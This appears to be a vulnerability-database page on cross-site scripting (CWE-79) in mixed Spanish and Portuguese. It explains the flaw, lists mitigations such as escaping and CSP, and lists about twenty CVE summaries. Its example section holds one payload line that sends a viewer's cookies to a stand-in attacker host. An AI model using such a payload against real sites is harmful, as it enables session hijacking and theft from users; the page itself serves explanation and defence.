Fallos del tipo CWE-79

30.301 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-8306MEDIUMStored XSS in Armiya Technologies' Access Control SystemEPSS 0.3%CVE-2026-86507MEDIUMApache Roller: Stored XSS in comment moderation via comment author URLEPSS 0.3%CVE-2024-43351MEDIUMWordPress Bravada theme <= 1.1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-23722CRITICALWeGIA has a Reflected Cross-Site Scripting (XSS) vulnerability allowing arbitrary code execution and UI redressing.EPSS 0.3%CVE-2026-51081MEDIUMA cross-site scripting (XSS) vulnerability in Proxmox Virtual Environment (PVE) 9.x 5.1.8 and Proxmox Virtual Environment (PVE) 8.x 4.3.16 aEPSS 0.3%CVE-2026-88593MEDIUMkkFileView 5.0.0 through 5.0.2 allows reflected XSS via the /onlinePreview endpoint. The OnlinePreviewController passes the user-controlled EPSS 0.3%CVE-2026-77818MEDIUMReflected HTML Injection via Form Hijacking in Yordam Informatics's Library Automation SystemEPSS 0.3%CVE-2025-2076MEDIUMbinlayerpress <= 1.1 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-0599HIGHStored Cross-site Scripting (XSS) vulnerability affecting Document Management in ENOVIA Collaborative Industry Innovator on Release 3DEXPERIENCE R2024xEPSS 0.3%CVE-2026-60092MEDIUMAVideo - Stored Cross-Site Scripting via Unescaped User-Agent in Participants PanelEPSS 0.3%CVE-2024-49319MEDIUMWordPress Awesome Contact Form7 for Elementor plugin <= 3.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-4322MEDIUMXSS in Raera's DestekzEPSS 0.3%CVE-2026-1099MEDIUMAdministrative Shortcodes <= 0.3.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'login' and 'logout' Shortcode AttributesEPSS 0.3%CVE-2022-50968MEDIUMuBidAuction 2.0.1 auctions manage Reflected XSSEPSS 0.3%CVE-2025-31501HIGHBest Practical RT (Request Tracker) 5.0 through 5.0.7 allows XSS via JavaScript injection in an RT permalink.EPSS 0.3%CVE-2025-14745MEDIUMRSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging <= 5.0.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via wp-rss-aggregator ShortcodeEPSS 0.3%CVE-2023-5597MEDIUMStored Cross-site Scripting (XSS) vulnerability affecting 3DDashboard in 3DSwymer from Release 3DEXPERIENCE R2023x through Release 3DEXPERIENCE R2024xEPSS 0.3%CVE-2024-51915MEDIUMWordPress LiteSpeed Cache plugin <= 6.5.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-42550MEDIUMA cross-site scripting (XSS) vulnerability in the component /email/welcome.php of Mini Inventory and Sales Management System commit 18aa3d aEPSS 0.3%CVE-2026-3529MEDIUMGoogle Analytics GA4 - Moderately critical - Cross-site Scripting - SA-CONTRIB-2026-024EPSS 0.3%